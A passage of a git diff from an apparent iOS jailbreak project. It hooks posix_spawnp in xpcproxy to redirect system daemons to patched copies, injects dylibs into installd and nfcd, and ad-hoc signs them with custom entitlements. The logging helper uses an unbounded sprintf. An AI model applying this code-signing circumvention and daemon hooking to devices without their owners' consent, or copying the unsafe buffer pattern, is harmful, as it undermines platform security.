--- a/RootHelperSample/launchdshim/xpcproxyhook/xpcproxyhook.m
+++ b/RootHelperSample/launchdshim/xpcproxyhook/xpcproxyhook.m
@@ -40,31 +40,50 @@ int hooked_csops_audittoken(pid_t pid, unsigned int ops, void * useraddr, size_t
return result;
}
const char *installd = "/usr/libexec/installd";
+const char *nfcd = "/usr/libexec/nfcd";
+const char *mediaserverd = "/usr/sbin/mediaserverd";
+
+void log_path(char* path, char* jbroot_path) {
+ FILE *file = fopen("/var/mobile/xpcproxyhook.log", "a");
+ char output[256];
+ sprintf(output, "[xpcproxyhook] changing path %s to %s\n", path, jbroot_path);
+ fputs(output, file);
+ fclose(file);
+}
int hooked_posix_spawnp(pid_t *restrict pid, const char *restrict path, const posix_spawn_file_actions_t *restrict file_actions, posix_spawnattr_t *attrp, char *argv[restrict], char * envp[restrict]) {
- const char *coolerinstalld = jbroot("/usr/libexec/installd");
- const char *coolercfprefsd = jbroot("/usr/sbin/cfprefsd");
if (strncmp(path, "/usr/sbin/cfprefsd", 18) == 0) {
- path = coolercfprefsd;
+ log_path(path, jbroot(path));
+ path = jbroot("/usr/sbin/cfprefsd");
argv[0] = (char *)path;
- posix_spawnattr_set_launch_type_np(attrp, 0);
+ posix_spawnattr_set_launch_type_np((posix_spawnattr_t *)attrp, 0);
+// } else if (!strncmp(path, mediaserverd, strlen(mediaserverd))) {
+// log_path(path, jbroot(path));
+// path = jbroot(mediaserverd);
+// argv[0] = (char *)path;
+// posix_spawnattr_set_launch_type_np((posix_spawnattr_t *)attrp, 0);
} else if (!strncmp(path, installd, strlen(installd))) {
- path = coolerinstalld;
+ log_path(path, jbroot(path));
+ path = jbroot(installd);
argv[0] = (char *)path;
posix_spawnattr_set_launch_type_np((posix_spawnattr_t *)attrp, 0);
- return posix_spawnp(pid, path, file_actions, (posix_spawnattr_t *)attrp, argv, envp);
+// } else if (!strncmp(path, nfcd, strlen(nfcd))) {
+// log_path(path, jbroot(path));
+// path = jbroot(nfcd);
+// argv[0] = (char *)path;
+// posix_spawnattr_set_launch_type_np((posix_spawnattr_t *)attrp, 0);
}
return orig_posix_spawnp(pid, path, file_actions, attrp, argv, envp);
}
__attribute__((constructor)) static void init(int argc, char **argv) {
-// FILE *file;
-// file = fopen("/var/mobile/xpcproxyhook.log", "w");
-// char output[512];
-// sprintf(output, "[xpcproxyhook] xpcproxyhook pid %d", getpid());
-// fputs(output, file);
-// fclose(file);
-// sync();
+ FILE *file;
+ file = fopen("/var/mobile/xpcproxyhook.log", "w");
+ char output[128];
+ sprintf(output, "[xpcproxyhook] xpcproxyhook pid %d", getpid());
+ fputs(output, file);
+ fclose(file);
+ sync();
struct rebinding rebindings[] = (struct rebinding[]){
{"csops", hooked_csops, (void *)&orig_csops},
diff --git a/RootHelperSample/main.m b/RootHelperSample/main.m
index f6c81b7a..936dba86 100644
--- a/RootHelperSample/main.m
+++ b/RootHelperSample/main.m
@@ -176,15 +176,15 @@ int runLdid(NSArray* args, NSString** output, NSString** errorOutput)
return WEXITSTATUS(status);
}
-int signAdhoc(NSString *filePath, NSString *entitlements) {
+int signAdhoc(NSString *filePath, NSString *entitlements, bool merge) {
NSMutableArray *args = [NSMutableArray array];
if (entitlements && entitlements.length > 0) {
[args addObject:[NSString stringWithFormat:@"-S%@", entitlements]];
}
-
- [args addObjectsFromArray:@[@"-M", filePath]];
-
+ if (merge == true) {
+ [args addObjectsFromArray:@[@"-M", filePath]];
+ }
NSString *errorOutput;
NSLog(@"roothelper: running ldid with args: %@", [args componentsJoinedByString:@" "]);
int ldidRet = runLdid(args, nil, &errorOutput);
@@ -275,7 +275,7 @@ void installLaunchd(void) {
NSString* launchdents = [usprebooterappPath() stringByAppendingPathComponent:@"launchdentitlements.plist"];
NSString* patchedLaunchdCopy = [usprebooterappPath() stringByAppendingPathComponent:@"workinglaunchd"];
- signAdhoc(patchedLaunchdCopy, launchdents); // source file, NSDictionary with entitlements
+ signAdhoc(patchedLaunchdCopy, launchdents, true); // source file, NSDictionary with entitlements
NSString *fastPathSignPath = [usprebooterappPath() stringByAppendingPathComponent:@"fastPathSign"];
NSString *stdOut;
@@ -301,25 +301,29 @@ void installClone(NSString *path) {
NSString* ents = [usprebooterappPath() stringByAppendingPathComponent:@"launchdentitlements.plist"];
NSString *hook_file = @"generalhooksigned.dylib";
NSString *insert_path = @"@loader_path/generalhooksigned.dylib";
+ bool mergeEnts = true;
if ([path isEqual:@"/Applications/MediaRemoteUI.app/MediaRemoteUI"]) {
ents = [usprebooterappPath() stringByAppendingPathComponent:@"MRUIents.plist"];
} else if ([path isEqual:@"/System/Library/CoreServices/SpringBoard.app/SpringBoard"]) {
ents = [usprebooterappPath() stringByAppendingPathComponent:@"SpringBoardEnts.plist"];
+ } else if ([path isEqual:@"/usr/libexec/installd"]) {
+ ents = [usprebooterappPath() stringByAppendingPathComponent:@"installdents.plist"];
+ } else if ([path isEqual:@"/usr/libexec/nfcd"]) {
+ ents = [usprebooterappPath() stringByAppendingPathComponent:@"nfcdents.plist"];
} else if ([path isEqual:@"/usr/libexec/xpcproxy"]) {
ents = [usprebooterappPath() stringByAppendingPathComponent:@"xpcproxydents.plist"];
hook_file = @"xpcproxyhooksigned.dylib";
insert_path = @"@loader_path/xpcproxyhooksigned.dylib";
-// } else if ([path isEqual:@"/usr/libexec/installd"]) {
-// ents = [usprebooterappPath() stringByAppendingPathComponent:@"installdents.plist"];
-// insert_path = @"@loader_path/generalhooksigned.dylib"; // doesnt work idk
+ } else if ([path isEqual:@"/usr/sbin/mediaserverd"]) {
+ ents = [usprebooterappPath() stringByAppendingPathComponent:@"mediaserverdents.plist"];
} else {
NSLog(@"Note: no dedicated ents file for this, shit will likely break");
}
// strip arm64e
replaceByte(jbroot(path), 8, "\x00\x00\x00\x00");
- NSLog(@"insert dylib ret %d", patch_app_exe([jbroot(path) UTF8String], [insert_path UTF8String]));
- signAdhoc(jbroot(path), ents);
+ NSLog(@"insert dylib ret %d", patch_app_exe([jbroot(path) UTF8String], (char*)[insert_path UTF8String]));
+ signAdhoc(jbroot(path), ents, mergeEnts);
NSString *fastPathSignPath = [usprebooterappPath() stringByAppendingPathComponent:@"fastPathSign"];
@@ -360,8 +364,12 @@ int main(int argc, char *argv[], char *envp[]) {
installClone(@"/System/Library/CoreServices/SpringBoard.app/SpringBoard");
installClone(@"/Applications/MediaRemoteUI.app/MediaRemoteUI");
installClone(@"/usr/libexec/xpcproxy");
-// installClone(@"/usr/libexec/installd");
+ installClone(@"/usr/libexec/installd");
+ installClone(@"/usr/libexec/nfcd");
+// installClone(@"/usr/sbin/mediaserverd");
install_cfprefsd();
+
+ [[NSFileManager defaultManager] copyItemAtPath:[usprebooterappPath() stringByAppendingPathComponent:@"generalhooksigned.dylib"] toPath:jbroot(@"/generalhooksigned.dylib") error:nil];
[[NSFileManager defaultManager] copyItemAtPath:[usprebooterappPath() stringByAppendingPathComponent:@"Serotonin.jp2"] toPath:jbroot(@"/var/mobile/Serotonin.jp2") error:nil];
}
} else if ([action isEqual: @"uninstall"]) {
@@ -378,8 +386,8 @@ int main(int argc, char *argv[], char *envp[]) {
NSArray *pathsToRemove = @[
jbroot(@"/System/Library/CoreServices/SpringBoard.app/"),
@"/var/mobile/Serotonin.jp2",
- jbroot(@"launchd"),
- jbroot(@"launchdhook.dylib"),
+ jbroot(@"/launchd"),
+ jbroot(@"/launchdhook.dylib"),
jbroot(@"/Applications/MediaRemoteUI.app/MediaRemoteUI"),
jbroot(@"/Applications/MediaRemoteUI.app/generalhooksigned.dylib"),
jbroot(@"/Applications/MediaRemoteUI.app/"),
@@ -388,7 +396,10 @@ int main(int argc, char *argv[], char *envp[]) {
[jbroot(@"/usr/libexec/") stringByAppendingPathComponent:@"xpcproxyhooksigned.dylib"],
[jbroot(@"/usr/libexec/") stringByAppendingPathComponent:@"generalhooksigned.dylib"],
[jbroot(@"/usr/libexec/") stringByAppendingPathComponent:@"xpcproxy"],
- [jbroot(@"/usr/libexec/") stringByAppendingPathComponent:@"installd"]
+ [jbroot(@"/usr/libexec/") stringByAppendingPathComponent:@"installd"],
+ [jbroot(@"/usr/sbin/") stringByAppendingPathComponent:@"cfprefsd"],
+ [jbroot(@"/usr/sbin/") stringByAppendingPathComponent:@"generalhooksigned.dylib"],
+ [jbroot(@"/usr/sbin/") stringByAppendingPathComponent:@"mediaserverd"]
];
for (NSString *path in pathsToRemove) {
if ([fileManager fileExistsAtPath:path]) {
diff --git a/Serotonin.xcodeproj/project.pbxproj b/Serotonin.xcodeproj/project.pbxproj
index cffea163..3b8e3918 100644
--- a/Serotonin.xcodeproj/project.pbxproj
+++ b/Serotonin.xcodeproj/project.pbxproj
@@ -27,6 +27,7 @@
C862EB532C47A9710052F3AD /* installdents.plist in Resources */ = {isa = PBXBuildFile; fileRef = C862EB522C47A9710052F3AD /* installdents.plist */; };
C862EB5F2C47EDCE0052F3AD /* proc.c in Sources */ = {isa = PBXBuildFile; fileRef = C862EB5E2C47EDCE0052F3AD /* proc.c */; };
C862EB602C47EE6D0052F3AD /* Serotonin.jp2 in Resources */ = {isa = PBXBuildFile; fileRef = C82599EF2B4C4C07002D0DDA /* Serotonin.jp2 */; };
+ C862EB642C47F3B30052F3AD /* nfcdents.plist in Resources */ = {isa = PBXBuildFile; fileRef = C862EB622C47F3B30052F3AD /* nfcdents.plist */; };
C8B1D3A92B5A620500C5562B /* MD.swift in Sources */ = {isa = PBXBuildFile; fileRef = C8B1D39B2B5A620500C5562B /* MD.swift */; };
C8B1D3AA2B5A620500C5562B /* LicensesViewController.swift in Sources */ = {isa = PBXBuildFile; fileRef = C8B1D39C2B5A620500C5562B /* LicensesViewController.swift */; };
C8B1D3AB2B5A620500C5562B /* ChangelogViewController.swift in Sources */ = {isa = PBXBuildFile; fileRef = C8B1D39D2B5A620500C5562B /* ChangelogViewController.swift */; };
@@ -41,6 +42,7 @@
C8B1D3B82B5A635800C5562B /* usprebooterApp.swift in Sources */ = {isa = PBXBuildFile; fileRef = C8B1D3B62B5A635800C5562B /* usprebooterApp.swift */; };
C8BFCCAC2B3FFE570008D8FD /* offsets.m in Sources */ = {isa = PBXBuildFile; fileRef = C8BFCC882B3FFE560008D8FD /* offsets.m */; };
C8BFCCAD2B3FFE570008D8FD /* vnode.m in Sources */ = {isa = PBXBuildFile; fileRef = C8BFCC892B3FFE560008D8FD /* vnode.m */; };
+ C8E70B7B2C48443A008AC2E6 /* mediaserverdents.plist in Resources */ = {isa = PBXBuildFile; fileRef = C8E70B792C48443A008AC2E6 /* mediaserverdents.plist */; };
D6F9CF3F2B4B2F7D00274803 /* ct_bypass in Resources */ = {isa = PBXBuildFile; fileRef = D6F9CF3E2B4B2F7D00274803 /* ct_bypass */; };
D6F9CF412B4B306400274803 /* fastPathSign in Resources */ = {isa = PBXBuildFile; fileRef = D6F9CF402B4B306400274803 /* fastPathSign */; };
/* End PBXBuildFile section */
@@ -115,6 +117,7 @@
C862EB522C47A9710052F3AD /* installdents.plist */ = {isa = PBXFileReference; lastKnownFileType = text.plist.xml; name = installdents.plist; path = RootHelperSample/launchdshim/generalhook/installdents.plist; sourceTree = ""; };
C862EB5D2C47EDC60052F3AD /* proc.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = proc.h; sourceTree = ""; };
C862EB5E2C47EDCE0052F3AD /* proc.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = proc.c; sourceTree = ""; };
+ C862EB622C47F3B30052F3AD /* nfcdents.plist */ = {isa = PBXFileReference; lastKnownFileType = text.plist.xml; name = nfcdents.plist; path = RootHelperSample/launchdshim/generalhook/nfcdents.plist; sourceTree = "